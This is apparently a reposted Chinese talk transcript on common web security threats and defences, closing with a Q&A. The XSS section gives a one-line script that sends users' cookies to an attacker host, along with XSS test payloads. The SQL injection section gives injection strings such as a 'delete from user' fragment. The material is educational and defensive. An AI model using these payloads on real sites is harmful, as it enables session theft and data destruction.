互联网主要安全威胁解读及应对方案大讨论 | 高可用架构系列

本次分享主题

据Gartner调查，绝大多数信息安全攻击都发生在Web应用层，而超过60%的Web网站都相当脆弱，在如此严峻的安全形势下，如何才能构建一个相对安全的网站成为大家关心的一个话题，蒋首席结合实例做了一次生动全面的分享。文后包括17种常见安全问题应对方案Q&A。

互联网web应用面临的主要威胁

1. XSS

跨站脚本攻击(Cross Site Scripting)， 即A站点的网页想办法跑到B站点上。 因为我们的网页都是javascript驱动的，所以js拥有非常大的权力。

XSS 可以大概分为三类(注意这三类不是排斥的)， DomXSS, 反射型XSS和存储型XSS。

首先Dom型XSS是指js脚本引起的XSS，通常来说由innerHTML、eval等引起， 对于innerHTML ，如代码

document.getElementById("id").innerHTML = "Hello, <b>" + name + "</b>",

这里就有一个潜在的XSS问题，因为name你不知道里面是什么，如name = "< img src=x onerror=alert(1)>" 。 那么就是一个XSS漏洞，通常来说我们一般用alert,prompt等函数测试，这个我们叫PoC，即漏洞证明 ， 所以当在一个页面看到alert的时候就要小心了。

那XSS能做什么呢？ 我们看一段代码：

new Image().src = "  http://ha.cker.club/collectcookie.do   ?c=" + encodeURIComponent(document.cookie);

这段代码很简短，就是把用户的cookie用URI编码转义后发到远程服务器。 这表示有可能用户账号被盗。 JSON.parse在比较新的浏览器才被支持，所以很多前端喜欢用 eval("(" + json + ")") 的方式解释JSON ， 所以这里的eval也会导致XSS漏洞，需要特别注意！ 除了这个还有 setTimeout、setInterval 等。

所以XSS带来的危害是非常大的，因为XSS可以在你的电脑开一个远程的HTTP隧道，可以 被用来扫描内网。一般用XHR或WebSocket来扫描， 有点像nmap。

其次介绍反射型XSS， 反射型XSS就是将参数上的数据直接展示在页面中， 如url https://example.com?username=<img/src/onerror=alert(1)&gt ; 当参数中的url在面页中展示时即构成一个反射型XSS。 这一类漏洞危害相对小一点，但也要引起重视。

最后一类是存储型XSS，这类特别严重， 即你打开一个页面时已经被XSS了。一般分两种:

  • 一种是服务器端的数据被XSS，即打开页面就被X了

  • 另一种是客户端，如flash 的local share object 或H5的localstorage， 这里要特别注意，要小心使用flash！ 我曾在 www.baidu.com 首页找到过一个flash的XSS漏洞，当然已经通知修改了，但这个漏洞可以引起很严重的信息泄露！

2.SQL注入

SQL注入大家应该不陌生，如 String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'"; 如果参数id中是 ; delete from user; ... 这样，你就悲剧了。 或者 or 1=1 这样，就会返回所有数据 。 SQL注入可以引起服务器端被入侵，我们知道MySQL支持在函数中执行服务器端代码，有点像nodejs中的eval一样。 还有就是可以被拖库，那 就悲剧了！

3.CSRF

CSRF是跨站请求伪造的意思， 比如，你的网站的logout是一个链接 https://example.com/doLogout.do 那么请示这个链接用户cookie就会被清空，用户就退出了， 如果你想办法把这个链接的请求放到用户不注意的地方，用户就会莫名其妙的退，当然这个危害比较小， 假如 https://example.com/transferMoney.do?from=hatter&to=somebody&amount=100000 ， 如果这个请示只判断cookie就操作成功，就悲剧了！

因为我们知道，在任意一个网站，请求另外一个网站的请求是会带上cookie的，这也是cookie mapping的原理， 有兴趣可以google一下cookie mapping 做广告的同学再熟悉不过了。

还有一类，专业名词是 XSSI， 也可以归到CSRF， 这里讲的JSONP的问题，就是XSSI， 相信国内很多网站被点名了。

4.传输劫持

看过315晚会的同学都知道免费WiFi不安全， 我要告诉你不只免费WiFi不安全。收费的、有密码的或是某些电信运营商都不安全。

一般来说劫持有两种 ， 一种是劫持DNS，比如114，还有就是有些路由器有CSRF漏洞，可以通过CSRF来设置你的DNS地址 。 一但你的DNS被修改后，你访问任何网站就悲剧了。 DNS污染就更别说了，比如某些政府...

还有一种就是路由器劫持。 免费WiFi就是这种，当然如果是运营商，就基本什么都能干了。 这一类有很成熟的软件来劫持。 一般安全测试用的代理软件，或前端用的Fiddler就是这一类软件。 当你是HTTP访问的时候你就什么都让别人知道了。 当然并不是说HTTPS就一定安全，这个后面会讲。

5. 账密泄露

看一下这个图，

出自http://mashable.com/2012/06/08/linkedin-stolen-passwords-list/ ， 是linkedin泄露的密码中top的部分，

在国内也有很多账密泄露，大家应该也知道， 用户喜欢在不同网站使用同一密码。 而且有时候密码很简单，所以账号号被盗就很常见。 因为我们都是依靠账号密码验证用户，耐用账号通常是email 。

6.暴力破解

即黑客使用同一个账号试不同密码， 或同一个密码试不同账号， 通过社工库，即上面提到的那个账号密码泄露，可以破解很多账号。 通过这些账号，特别是邮箱，能够得到很多很多的信息。 典型的是有一次在wooyun中曝光的漫游某著名电商网站的内网就是这样的。 开发把账号密码泄露到github上了， 然后黑客就...

7.身份token窃取

在XSS中的例子已经介绍了案例， 即通过 document.cookie 得到用户的cookie, 而在web程序中都是通过cookie验证用户身份，也就是说cookie泄露就可能导致账号直接被黑客访问 。

威胁应对方案

1.XSS

对于XSS来说最好的办法就是转义！ 但转义并不容易，因为转义有很多种方式，而且开发很容易忘掉， 目前的转义框架主要有 ESAPI 和 AntiXSS 。 一般来说需要转义几个比较危险的字符 & < > ' " / 。 在HTML中， & 转成 & 在URL中 &转成 %26 在JS中 &转成\x26或\u0026。 需要特别注意 ' " 的转义，在JS中需要转成 \x \u这种形式， 虽然按ECMA262规定，' "可以转成 \' \" 。

但在HTML的属性中出现的时候这种转义很危险， 如果你去看ESAPI的提交纪录就会发现，他们原因也是这种转义，后来改成 \x了，
https://p.rogram.me/encode/ 这个是我用JS写的转义程序，可以学习UTF-16 UTF-8的转义逻辑。

在Java/JS中都是使用了UTF-16，所以String是变长的，这个需要特别注意，不然会可能乱码。 Unicode的第1版及以后的版本，字符在UTF-16中是两个“char”，在UTF-8中是4个字节 。

在URL中的转义，需要特别注意一点，对于JS（ECMA262)中定义的 encodeURI encodeURIComponent都是近UTF-8转义的。参看RFC3986，要求新的scheme都使用UTF-8转义，但是在目前的浏览器实现中，如果你的页面是GBK，那么这里有就三种转义方式:

  1. 首先 hostname，即域名部分是 punycode，

  2. 再次 path部分是UTF-8 ，

  3. 最后query部分是GBK。 补充一下hash部分也是UTF-8

但如果你的页面是UTF-8的，那么query部分也是UTF-8， 所以在非GBK的页面中使用encodeURICompoent转义query部分的值可能会有乱码，建议页面都使用UTF-8，而且GBK也不能表示emoji 。

还有一个innerHTML让人防不甚防，因为使用innerHTML可以让前端快速构建DOM，比较使用createElement方便多了，所以前端很喜欢innerHTML 。但innerHTML的危害很大，这里可以使用html净化的工具，这类工具很多，在IE中有一个toStaticHTML的函数，就是去掉HTML中的js代码，但在chrome/ff中没有这个函数。

这里我收集了一些相关的工具。 这个链接有效期是一年，有数字签名。 我比较推荐这个 https://github.com/hasegawayosuke/rickdom/， 这个工具的作者是 http://utf-8.jp/ ，是个日本人， 这里有使用演示 http://utf-8.jp/public/rickdom/。 如果你使用jQuery，就可以在jQuery的html函数中加入拦截，自动做净化， 但要求前端在innerHTML中不出现js 。

2. CSP

CSP是防止XSS的大招，由 W3C 的 webappsec ＷＧ(work group)制定的，目前发面的版本是CSP2，通http://caniuse.com/#feat=contentsecuritypolicy这个链接可以看到当前CSP的支持情况 。大家可以测试一下这个链接 https://hatter.in/testCSP2 不同的浏览器出来的alert数量不一样，最新的chrome不会弹alert! 。 IE也准备在Edge，就是logo特别难看的那个，支持CSP。这链接https://playsecurity.org/rawfile/introduce_to_csp.md 是作者整理了一个CSP的介绍，可以参看一下。

CSP有三种使用方式：

  1. 第一种，目前 github.com采 用次方式，禁止所有js inline , eval ，只能使用你指定的域名下的js，是最完美的一种方式；

  2. 第二种，使用nonce或jshash，目前airbnb是采用此方式，允许inline js， 但只允许指定的地方出现js或hash确定的js被执行；

  3. 第三种，目前facebook,gmail所采用的方式，这种策略禁止加载站外的js进来 。 也就防止cookie直接被偷到站外等恶劣情况 ， 详细还需要自己再去看 。

有一些网站也会引用iframe，如果这个iframe是站外的就比较危险，你可以在iframe标签中使用sandbox来限制这个页面的行为CSP2中也引入了sandbox。

还有，上面介绍了一种反射型XSS，可以加这个X-XSS-Protection: 1; mode=block 来让浏览器阻止加载，但是，FF不支持，而且浏览器的XSS过滤器比较容易bypass，不过加上比不加上安全，可以防小白型黑客。

3. SQL注入

SQL注入的防范方法比较简单，就是不要让开发人员拼接SQL，使用参数绑定的方式。如果有自动发布流程的话，通代码白盒扫描的时候，卡发布。 还有，SQL注入和反射型XSS一样，还是有工具的， 比如阿里开源的 有SQL注入检测的工具 druid ，http://www.onexsoft.com/download这个中间件也有这样的功能， 这篇论文介绍了如何检测https://playsecurity.org/attachment/security/sql/Using_Parse_Tree_Validation_to_Prevent_SQL_Injection_Attacks.pdf， 大家可以参考一下。

4. CSRF Token检查

CSRF最重要的是CSRF token，一般来说这个token可以放到页面中或cookie中，然后在所有提交的请求中带上这个token，同时服务器端判断token是否一致，不一致则拒绝请求，这样黑客是无法猜到这个token的。

同时我们发现，CSRF的问题是第三方网站的请求，所以IETF有一个draft就是需要解决这个问题，增加了一个First-Party-Only属性， 参看文档 https://datatracker.ietf.org/doc/draft-west-first-party-cookies/ 。作者是google德国的员工 mike west， 同时他也是CSP的主要作者。 补充一下 First-Party-Only 还没有发布，而且当前chrome中实现的有bug!!!

注意原则上涉及用户信息的JSONP也必须检查csrf token， 然后，还需要注意！ crossdomain.xml Fetch(CORS)这两个crossdomain.xml中如果设置为*就悲剧了，任意flash就可以访问你的网站。Fetch原名叫CORS，就是使用XHR来跨站访问数据，注意这里的Origin也不能设置为*

5. HTTPS

为了防止网站被劫持，我们需要配置HTTPS，HTTPS最早是netscape搞出来的， SSLv3还是他们搞的，这个版本比较老，问题也比较多。但禁止SSLv3会导致WindowsXP可能无法访问，因为默认的WinXP的IE是不打开TLSv1.0的。虽然这个版本的IE支持这个功能，需要在设置中打开，目前普遍认为SSLv3不安全，但我只发现 github.com禁止了SSLv3的访问。

那么问题来了，配置了HTTPS安全么？ 答案当然是否的!

首先你需要部署一个没有已经漏洞的https软件，一般我们使用OpenSSL，心脏出血就是这个软件的著名 bug.目前互联网上还有使用这个bug的OpenSSL的版本。

然后，需要配置ciphers，使用

$ nmap —script ssl-enum-ciphers -p 443 hellosecurity.org

这个命令可以扫描一个网站支持哪些ciphers ， 详细内容可以参看http://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml 关于TLS的参数， 对于W3C,IETF的所有类型注册都在IANA。

我们也可以通过openssl来看HTTPS的配置，使用

$ echo | openssl s_client -showcerts -servername   playsecurity.org -connect   playsecurity.org :443

这个命令会链接到服务器，并打印具体信息出来

  • -showcerts会打印服务器端的详细证书信息

  • -servername是SNI，即发起TLS链接的时候带上域名

返回的第一部分是证书验证信息，这里需要特别注意的是，在配置证书的时候一定需要配置中间链证书，测试方式可以使用刚才的openssl命令或android的浏览器。android的浏览器不会下载中间链证书，也没有内置， 所以如果配置不全会打不开！

目前HTTPS也配置了，是不是就不会被劫持了？

其实很容易被劫持哦〜 。 比如，你打开 www.alipay.com的时候 一般用户不会在前面输出 https。那这样第一个请求就是http的，不是https的，这样就可以被劫持了。 一但被劫持了，黑客就可以改里面的信息，这时候就需要HSTS来帮忙，HSTS是告诉浏览器说，我这个域名（也可能包含子域名），加载的时候必须是HTTPS。这样就不会在第一次的时候被绕过，例如 www.alipay.com就有设置这个头， 参看标准 https://tools.ietf.org/html/rfc6797。

还有一种威胁就是不良CA 比如某国家CA机构（已经被google吊销证书) 。 那这时候怎么办呢？ 我们有HPKP， 这个 github.com 也有配置

$ curl -I   https://github.com
Public-Key-Pins: max-age=300; pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18="; pin-sha256="JbQbUG5JMJUoI6brnx0x3vZF6jilxsapbXGVfjhN8Fg="; includeSubDomains  Strict-Transport-Security: max-age=31536000; ;

includeSubdomains;preload这两个头就是github的HSTS及HPKP，HPKP指定了几个hash值， 只要不在这几个hash值中就不会被信任， 那问题又来了，我第一次访问的网站就是不良CA的证书签的网站怎么办呢？ 这个也有解决办法，https://hstspreload.appspot.com/ 参看这个链接。 chrome/safari/ff 是共享一个名单列表。 简单来说就是把一些信息hard coding到浏览器中，你只要用了这几个浏览器，第一次访问这些网站就天然是HTTPS的，不过HPKP不会内置，但内置可以内置中证书链中的某些证书，有兴趣的同学可以看一下上面的文件。

说了这么多，用一个网站可以测试HTTPS的配置， https://www.ssllabs.com/ssltest/analyze.html。如果你拿到A+ 就Ｏ了 看这个链接 https://scotthelme.co.uk/a-plus-rating-qualys-ssl-test/ 可以得到更多信息

6.加密存储

账密泄露的解决办法就是 加密存储，很多网站发生过密码泄露，是因为他们明文存放密码。这是一个很不好的习惯，简单使用Md5或SHA也都不是好习惯哦。关于密码保存建议使用 scrypt、 bcrypt 或PBKDF2 。注意每个用户都需要有不同的盐，和密码分开保存,这样即使泄露，黑客如果需要破解也是成本非常非常高的，这里需要注意，像scrypt这种算法，计算成本比较高，所以需要判断频率，因为可以用于DoS攻击， 同时可以参看这两个文档

Password Storage Cheat Sheet - https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet

Secure Password Storage - http://goo.gl/Spvzs

7.双因子检验

一般来说有几种方法 短信、 电话、 电子邮件、 硬件OTP、 软件OTP。 apple和google都支持，强烈建议大家打开 。

 

其中apple是自己实现的二次校验，可以通过短信或信任手机推送二次验证口令。 而google的是标准TOTP（https://tools.ietf.org/html/rfc6238） 。 核心算法是 Base32和HMAC_SHA算法。 Google有一个软件 https://github.com/google/google-authenticator 大家可以在市场中安装， 我也用go语言实现了这个算法 https://gist.github.com/jht5945/cf06c4d2102db56efc55 java版在标准中有， 可以通过二维码扫描 、 https://github.com/google/google-authenticator/wiki/Key-Uri-Format 这里是格式 。

目前 github facebook microsoft dropbox evernote都支持这种标准的TOTP。 当然国内也可以用洋葱啦〜 。ssh也可以支持到 https://github.com/ziyan/ssh-otp wordpress 、https://wordpress.org/plugins/two-factor-auth/ 。

8.无密码验证

很多安全问题是密码导致，无密码就出来了。FIDO就是这样的工具， FIDO主要支持UAF和U2F，其中U2F相当于U盾，UAF，主要是虹膜，扫脸、指纹等。洋葱实现的逻辑是UAF，但不清楚是不是按标准实现。 验证过程是challenge-response方式，这种目前最安全了。

9.身份Token保护

防止cookie被盗就是设置httponly了，设置了httponly后document.cookie就拿不到。 安全性就有一定提升， 还有就是把token绑定到机器上，这个IETF在写标准中 http://datatracker.ietf.org/wg/tokbind/documents/ ， 目前HTTP Auth即401验证是 base64(username + ":" + password) 这样的方式， 极不安全，基于challenge-response的标准也在制定中 https://datatracker.ietf.org/doc/draft-yusef-httpauth-srp-scheme/ 。

对于401，目前chrome在加载subresource时是忽略401的，但ie, ff不会。所以安全性存在问题，特别是邮件系统，目前我也在想办法让subresource禁止401，推到CSP标准中，还需要点时间 。

Q&A

Q1:公司不大，怎么做白盒测试，工具和技术 ？

白盒测试还是需要有专业知识，现在也有安全测试外包，不过不知道是不是靠谱。漏洞扫描工具可以看OWASP，不过最好的工具还是在白盒地基础上，关于扫描工具这一块我研究不多

Q2:我想问问有没有办法预防中间者攻击，特别是手机app的中间者攻击？

预防中间人攻击还是使用HTTPS，然后强加密，禁止弱加密。 cipher的配置，firefox有工具，https://mozilla.github.io/server-side-tls/ssl-config-generator/ 这个是mozilla的生成器，可以选择你需要的 。

Q3:现在手机客户端往往通过json api和服务器端通信，这种方案除了用https，还有哪些安全方面要考虑？

手机端的话需要注意证书验证，如AFNetworking这个组件有过漏洞，其实手机端如果是app的话，你可以自己验证证书的，这个最安全了。

Q4:关于存储密码的加密算法，Sha1+每个用户独立的随机盐存密码的弱点在哪里？ 现有如此法加密的用户数据迁移到更专业的加密算法的必要性有多高？

目前对于RSA2048 ECC166以上还是安全的，你只要保管好你自己的私钥，然后app端验证hash值，就差不多了，注意密钥交换使用ECDHE，不要用RSA或DHE 。

Q5:使用了https，那么如果是在内网做了中间人呢？也就是我在银行发布公共wifi，然后制作虚假银行网页，用户访问银行网页会定向到我的服务器，后台一个线程专门与实际的网银请求，这种方式是否有解？

HPKP可以解这个问题，浏览器不会信任hash不匹配的，但是需要以前访问过一次网站，还有如果中间人的证书是正规CA，而且是第一次访问就是被劫持的，就很难解。目前ECDHE的安全性最高,RSA的话不是FS（正向安全）的，DHE的话应该是有破解可能性，过DHE的问题具体没研究过 。

Q6:关于存储密码的加密算法，Sha1+每个用户独立的随机盐存密码 的弱点在哪里？现有如此法加密的用户数据 迁移到更专业的加密算法的必要性有多高？

Sha1的话通过GPU或专门的设备，解密效率特别高，如果这个信息足够重要，即破解的ROI够高的话，还是比较容易的.scrypt算法有对CPU周期和内存的要求，如果去破解成本高到无法接受。

Q7: 防枚举怎么设计哦 ，尤其是订单？

防枚举可以限制用户账号和IP的试错次数，可以禁止一段时间，比较银行卡账号就是这样，3次就禁止使用，我们可以柔性一点，禁止1小时登陆。订单这个也简单，可以对你的ID做HAMC_SHA，就是ID会长一点。对于订单ID可以做AES加密再Base64编码，这样可以防枚举。

Q8:H 5的本地存储攻击方式能否再详说下？

H5的本地存储问题主要是存在innerHTML,eval等情况下，但flash的localshareobject就不一样了，flash在设计的时候存在XSS问题。

Q9: 现在app一般都会提供js供网页端调用，比如app登录后，把token传递给网页，此时如何防止恶意app提供伪js接口呢？

使用安全的HTTPS就可以了，当然电脑如果被种木马或浏览器插件是没有办法防的 。

Q10 : 现在某国运营商劫持比较头痛，防不胜防，有么有一些好的办法？例如劫持APK下载。

HTTPS，APK下载校验签名。

Q11:APK下载检验签名如果失败，有办法纠正吗？

没有，只能重新下。

Q12: HTTPS不太好走CDN ？

HTTPS走CDN的话需要考虑keyless。 但支持的CDN不多。

Q13: whatsap p这类无密码登录通常用的什么通信安全机制？

whatsap p没研究过，mozilla出过一个依赖电子邮件的登陆方案，不过用的人不多，twitter登陆的时候使用手机或email验证，但这样就需要email绝对安全，所以email一定要开二次验证，https://hellosecurity.org/TableOfContents 这里也有一些我早一点时间的资料，不仅仅是安全的，不过最新的没有在这里更新。

Q14:话说email支持二次验证的有哪些呀？

email 二次验证的话有很多公司，还有CA也通过email验证，如startssl, wosign，mozilla那个就没搞好，https://www.mozilla.org/en-US/persona/ 这个是mozilla的邮件登陆项目，依靠邮件的安全 。

Q15: 移动应用本地的数据安全保护机制有什么好办法？

当然这个话题可能有点远了。 这个超过我的回答范围了，不过我推荐这个 https://www.zetetic.net/sqlcipher/

Q16:与APP的交互使用对称加密有哪些好的方法? HMAC-SHA这样的安全系数如何? 是否对于中间人攻击或者APP反编译什么的没有太大的防护意义?

对称加密性能好，HMAC_SHA的安全性没问题，但SHA选用SHA256以上，app反编译的问题比较麻烦，如果你是用户，建议手机不要root，仅从官方市场安全软件。签名主要有两种，对称和不对称，可以参考一下JWS,https://tools.ietf.org/html/rfc7515。 HMAC_SHA的问题是，签的一方和，验签的一方都有同一个密钥，这样就没有防抵赖的功能。 所以如果需要防抵赖的话，建议RSA_SHA签名，就是CA证书这种方式。

Q17: 有哪些互联网安全方面比较好的成体系化的书可以推荐的？

书就不推荐了，这个要钱。推荐OWASP， 看下面的https://www.owasp.org/index.php/OWASP_Top_Ten_Cheat_Sheetcheat sheet文章 ， 测试可以参看 https://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf ， 关于密钥强度的选择大家可以参看 http://www.keylength.com/

附参考链接：

    • XSSI参看 http://cn.nytimes.com/china/20150615/c15security/

    • linkin top10 http://mashable.com/2012/06/08/linkedin-stolen-passwords-list/

    • ESAPI 参看 https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API

    • AntiXSS https://msdn.microsoft.com/en-us/security/aa973814.aspx

    • JS写的转义程序 https://p.rogram.me/encode/

    • Html净化的工具 https://playsecurity.org/markdownView.jssp?path=Study%2FSecurity%2F%2F&fileName=Sanitizer.md&params=y%2Cpath%2CfileName&sign=Q5t4jwJjfnjBEQZycAsPzWJco2wmonA6XECUEipvDZw%3D，推荐这个 https://github.com/hasegawayosuke/rickdom/ 作者是 http://utf-8.jp/ 使用演示 http://utf-8.jp/public/rickdom/

    • CSP的支持情况 http://caniuse.com/#feat=contentsecuritypolicy

    • CSP的介绍 https://playsecurity.org/rawfile/introduce_to_csp.md

    • CSP的测试 https://hatter.in/testCSP2

    • Sanbox的使用参看http://www.w3.org/TR/html5/browsers.html#sandboxing

    • 阿里开源SQL注入检测的druid， https://github.com/alibaba/druid/wiki/%E9%85%8D%E7%BD%AE-wallfilter 就有SQL注入检测的功能

    • SQL注入检测中间件 http://www.onexsoft.com/download
      https://playsecurity.org/attachment/security/sql/Using_Parse_Tree_Validation_to_Prevent_SQL_Injection_Attacks.pdf

    • First-Party-Only属性 参看文档 https://datatracker.ietf.org/doc/draft-west-first-party-cookies/

    • TLS的参数 http://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml

    • HSTS头标准 https://tools.ietf.org/html/rfc6797

    • 不良CA的证书签的网站 https://hstspreload.appspot.com/ 参看这个链接
      chrome/safari/ff 是共享一个名单列表的 http://code.google.com/p/chromium/codesearch#chromium/src/net/http/transport_security_state_static.json

    • 测试HTTPS的配置 https://www.ssllabs.com/ssltest/analyze.html ; https://scotthelme.co.uk/a-plus-rating-qualys-ssl-test/

    • scrypt https://www.tarsnap.com/scrypt.html

    • bcrypt http://en.wikipedia.org/wiki/Bcrypt

    • PBKDF2 http://en.wikipedia.org/wiki/PBKDF

    • scrypt ddosPassword Storage Cheat Sheet - https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet

    • Secure Password Storage - http://goo.gl/Spvzs

    • TOTP https://tools.ietf.org/html/rfc6238

    • Base32和HMAC_SHA算法https://github.com/google/google-authenticator
      go语言实现了这个算法 https://gist.github.com/jht5945/cf06c4d2102db56efc55
      java版在标准中有可以通过二维码扫描 https://github.com/google/google-authenticator/wiki/Key-Uri-Format

    • ssh也可以支持到 https://github.com/ziyan/ssh-otp wordpress https://wordpress.org/plugins/two-factor-auth/

    • FIDO 就是这样的工具 https://fidoalliance.org/
      token绑定到机器上，这个IETF在写标准中 http://datatracker.ietf.org/wg/tokbind/documents/
      challenge-response的标准也在制定中 https://datatracker.ietf.org/doc/draft-yusef-httpauth-srp-scheme/

    • cipher的配置，firefox有工具 https://mozilla.github.io/server-side-tls/ssl-config-generator/

    • keyless https://www.cloudflare.com/keyless-ssl

    • email一定要开二次验证，https://hellosecurity.org/TableOfContents

    • mozilla的邮件登陆项目 https://www.mozilla.org/en-US/persona/

    • 移动应用本地的数据安全保护机制 https://www.zetetic.net/sqlcipher/

    • 签名 https://tools.ietf.org/html/rfc7515

    • OWASP 可以参看的cheat sheet文章 https://www.owasp.org/index.php/OWASP_Top_Ten_Cheat_Sheet

    • 测试可以参看 https://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf

    • 密钥强度的选择大家可以参看 http://www.keylength.com/

posted on 2018-01-26 18:07  一天不进步，就是退步  阅读(1460)  评论(0)  编辑  收藏  举报
Copyright © 2024 一天不进步，就是退步
Powered by .NET 8.0 on Kubernetes Powered by: 博客园